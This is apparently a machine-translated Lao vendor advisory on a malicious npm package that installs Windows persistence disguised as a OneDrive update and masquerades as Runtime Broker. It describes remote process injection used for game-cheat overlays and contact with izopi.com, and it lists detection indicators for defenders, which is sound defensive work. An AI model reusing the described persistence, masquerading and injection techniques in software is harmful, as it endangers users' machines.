ແພັກເກດດັ່ງກ່າວຖືກເຜີຍແຜ່ໂດຍບັນຊີ npm ດຽວທີ່ອີເມວທີ່ລະບຸໄວ້ແມ່ນທີ່ຢູ່ Gmail ທີ່ບໍ່ໄດ້ຮັບການຢືນຢັນ. ບັນຊີດັ່ງກ່າວມີຄະແນນຊື່ສຽງໃນການລົງທະບຽນທາງລົບຢ່າງເລິກເຊິ່ງ, ຮັກສາ ແລະ ເຜີຍແຜ່ພຽງແຕ່ແພັກເກດນີ້ເທົ່ານັ້ນ, ແລະ ບໍ່ມີບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນທີ່ເຊື່ອມໂຍງ. ພວກເຮົາຍັງບໍ່ທັນໄດ້ຢືນຢັນຄວາມເປັນເຈົ້າຂອງອີເມວ ແລະ ພວກເຮົາຖືວ່າແຄມເປນດັ່ງກ່າວເປັນຂອງບັນຊີຜູ້ເຜີຍແຜ່, ບໍ່ແມ່ນຂອງບຸກຄົນໃດໜຶ່ງທີ່ມີຊື່. ຕົວເປີດໃຊ້ບໍ່ມີໂຄງສ້າງພື້ນຖານຂໍ້ຄວາມທີ່ຊັດເຈນ, ແຕ່ໂຮສພາຍນອກອັນດຽວເປັນທີ່ຮູ້ຈັກໃນປັດຈຸບັນ: ເຊີບເວີທີ່ຖືກສັບສົນຕິດຕໍ່ izopi.com ເພື່ອກວດສອບໃບອະນຸຍາດ, ແລະໂມດູນພື້ນເມືອງ - ອ່ານຈາກຕາຕະລາງນຳເຂົ້າ ແລະ ສະຕຣິງແທນທີ່ຈະເປັນການປີ້ນກັບກັນຂອງຄຳສັ່ງ - ແມ່ນການຊ້ອນທັບເກມທີ່ສັກເຂົ້າໄປໃນ ແລະ ອ່ານໜ່ວຍຄວາມຈຳຂອງຂະບວນການອື່ນ.

ຜົນກະທົບທີ່ສັງເກດເຫັນໄດ້ແມ່ນຕົກຢູ່ກັບຜູ້ໃຊ້ Windows ທີ່ຕິດຕັ້ງ ແລະ ເປີດໃຊ້ sensitivity ໂດຍຄາດຫວັງວ່າຈະມີໂປຣແກຣມຄວບຄຸມແຜງຄວບຄຸມ. ໃນໂຮດເຫຼົ່ານັ້ນ, ແພັກເກດຈະສ້າງຄວາມຍືນຍົງຂອງ autostart ໂດຍປອມຕົວເປັນໜ້າວຽກ OneDrive, ປ່ຽນຊື່ຕົວເອງເພື່ອຮຽນແບບຂະບວນການຂອງລະບົບ, ອ່ານ URL ຂອງສິ່ງທີ່ຜູ້ໃຊ້ກຳລັງເບິ່ງ, ແລະ ຕັ້ງແຜງຈັບຄູ່ທີ່ຜູກມັດເຄື່ອງກັບຣີໂໝດຜ່ານເຄືອຂ່າຍທ້ອງຖິ່ນ. ຕົວເຝົ້າລະວັງຂອງ supervisor/worker ໝາຍຄວາມວ່າການຂ້າຂະບວນການດຽວບໍ່ໄດ້ລຶບມັນອອກ; ລາຍການ Run-key ຈະຢູ່ລອດໄດ້ຫຼັງຈາກການຣີບູດ. macOS ແລະ Linux ບໍ່ໄດ້ຖືກເປົ້າໝາຍໂດຍຕົວເປີດໃຊ້ - ເສັ້ນທາງ persistence, PowerShell, ແລະ UIAutomation ແມ່ນສຳລັບ Windows ເທົ່ານັ້ນ.

ການຍົກເລີກເວີຊັນເຈັດສິບແມ່ນທ່າອ່ຽງທີ່ຄຸ້ມຄ່າທີ່ຈະລາຍງານ. ການເຜີຍແຜ່ແພັກເກດໜຶ່ງຄືນໃໝ່ຫຼາຍສິບເທື່ອໃນສອງສາມມື້, ລວມທັງການຕື່ມໝາຍເລກເວີຊັນທີ່ຕໍ່າກວ່າໝາຍເລກເວີຊັນທີ່ຖືກລຶບໄປແລ້ວ, ຈະຮັກສາສຳເນົາສົດໄວ້ໃນ registry ລະຫວ່າງການລຶບ ແລະ ເຮັດໃຫ້ລາຍຊື່ບລັອກທີ່ຖືກປັກໝຸດໄວ້ກັບເວີຊັນບໍ່ສະດວກ. ລາຍການບລັອກສຳລັບ sensivity@2.5.61 ບໍ່ໄດ້ເຮັດຫຍັງຕໍ່ກັບ sensivity@2.5.3 ທີ່ເຜີຍແຜ່ຄືນໃໝ່ໃນມື້ຕໍ່ມາ.

ຜູ້ປົກປ້ອງສາມາດປະຕິບັດຕາມສິ່ງຕໍ່ໄປນີ້:

  • ບລັອກຄວາມອ່ອນໄຫວຂອງຊື່ແພັກເກດໂດຍກົງໃນລາຍຊື່ອະນຸຍາດຂອງ registry-proxy ແລະ CI. ການປັກໝຸດເວີຊັນແຕ່ລະອັນຈະສູນເສຍຈັງຫວະການເຜີຍແຜ່ຄືນໃໝ່; ຊື່ແມ່ນຕົວຊີ້ບອກທີ່ທົນທານ.
  • ຊອກຫາຄ່າ Run ທີ່ມີຊື່ວ່າ OneDriveUpdate ເຊິ່ງຂໍ້ມູນຂອງມັນເອີ້ນໃຊ້ wscript.exe ຕໍ່ກັບ .vbs ໃນເສັ້ນທາງຕໍ່ຜູ້ໃຊ້. ຕົວອັບເດດ OneDrive ທີ່ແທ້ຈິງບໍ່ໄດ້ລົງທະບຽນດ້ວຍວິທີນີ້.
  • ການແຈ້ງເຕືອນກ່ຽວກັບໂປຣເຊສ Node.js ທີ່ມີ process.title ແມ່ນ Runtime Broker. ໂບຣເກີທີ່ແທ້ຈິງແມ່ນ RuntimeBroker.exe, ບໍ່ແມ່ນ Node runtime.
  • ໝາຍເຖິງການດຶງຂໍ້ມູນໃນເວລາຕິດຕັ້ງ npm ຂອງແພັກເກດທີ່ສົ່ງ addon .node ທີ່ຄອມໄລ໌ແລ້ວ ບວກກັບ eval(fs.readFileSync(…)) ຂອງໄຟລ໌ sibling .obf.js. ການຈັບຄູ່ນັ້ນ - ໄບນາຣີພື້ນເມືອງທີ່ບໍ່ໂປ່ງໃສທີ່ໂຫຼດຢູ່ຖັດຈາກ payload ຂໍ້ຄວາມທີ່ບໍ່ໂປ່ງໃສ - ແມ່ນຕົວບອກໂຄງສ້າງຢູ່ທີ່ນີ້, ໂດຍບໍ່ຂຶ້ນກັບ IOC ຂອງສະຕຣິງໃດໆ.
  • ປະຕິບັດຕໍ່ຜູ້ຟັງທີ່ຜູກມັດໃນທ້ອງຖິ່ນໃນພອດ 3000 ທີ່ເກີດຈາກຂະບວນການ Node ທີ່ບໍ່ຄາດຄິດວ່າເປັນຈຸດທີ່ໜ້າສົງໄສໃນຈຸດສິ້ນສຸດ Windows ທີ່ມີການຈັດການ.
  • ບລັອກ ຫຼື ແຈ້ງເຕືອນກ່ຽວກັບການຮ້ອງຂໍທີ່ສົ່ງອອກໄປຫາ izopi.com ຈາກຜູ້ພັດທະນາ ຫຼື ໂຮສຂອງຜູ້ໃຊ້ສຸດທ້າຍ; ມັນເປັນຈຸດສິ້ນສຸດພາຍນອກດຽວຂອງແພັກເກດ, ເຊິ່ງເຂົ້າເຖິງໄດ້ທີ່ /check.php ຈາກເຊີບເວີທີ່ຖືກສັບສົນ.
  • ສຳລັບ addon .node ໃດໆທີ່ມັດໄວ້, ໃຫ້ກວດສອບຕາຕະລາງການນຳເຂົ້າຂອງມັນກ່ອນທີ່ຈະໄວ້ວາງໃຈມັນ. ການປະສົມປະສານ OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ແມ່ນການສີດຂະບວນການໄລຍະໄກໂດຍບໍ່ຄຳນຶງເຖິງສິ່ງທີ່ແພັກເກດອ້າງວ່າເຮັດ; ໃນທີ່ນີ້ມັນຕັ້ງຢູ່ຂ້າງໆກັບ Direct3D overlay ແລະ strings aimbot/ESP/triggerbot.

ສຳລັບການວິເຄາະແບບຄົງທີ່ pipelines, ຮູບແບບຄວາມເຊື່ອໝັ້ນແມ່ນທົນທານຕະຫຼອດການຍົກເລີກລຸ້ນ: ໂປຣໄຟລ໌ການຕິດຕັ້ງທີ່ບໍ່ແມ່ນເຄືອຂ່າຍ, ການມອບໝາຍຫົວຂໍ້ຂະບວນການໃຫ້ກັບຊື່ຂະບວນການລະບົບທີ່ຮູ້ຈັກ, ການຂຽນ Run-key ຜ່ານ PowerShell, ແລະການປະເມີນໄຟລ໌ທີ່ອ່ານຈາກແຜ່ນດິດ. ບໍ່ມີອັນໃດຂຶ້ນກັບໂດເມນ, IP, ຫຼືໝາຍເລກລຸ້ນທີ່ການເຜີຍແຜ່ຄືນໃໝ່ຄັ້ງຕໍ່ໄປສາມາດໝູນວຽນອອກໄປໄດ້.

 ເອກະສານ

[npm: ຄວາມອ່ອນໄຫວ] – ໜ້າລົງທະບຽນສຳລັບສາຍລຸ້ນແພັກເກດທີ່ໄດ້ປຶກສາຫາລືຢູ່ທີ່ນີ້; ອາດຈະໄດ້ຮັບການລຶບອອກ.

ເຄື່ອງມືວິເຄາະອົງປະກອບຊອບແວ SCA
ຈັດລຳດັບຄວາມສຳຄັນ, ແກ້ໄຂ ແລະ ຮັກສາຄວາມສ່ຽງດ້ານຊອບແວຂອງທ່ານໃຫ້ປອດໄພ
ຮັບບັນຊີຟຣີຂອງທ່ານ.
ບໍ່ຕ້ອງມີບັດເຄດິດ.

ຮັບປະກັນການພັດທະນາຊອບແວ ແລະ ການຈັດສົ່ງຂອງທ່ານ

ດ້ວຍຊຸດຜະລິດຕະພັນ Xygeni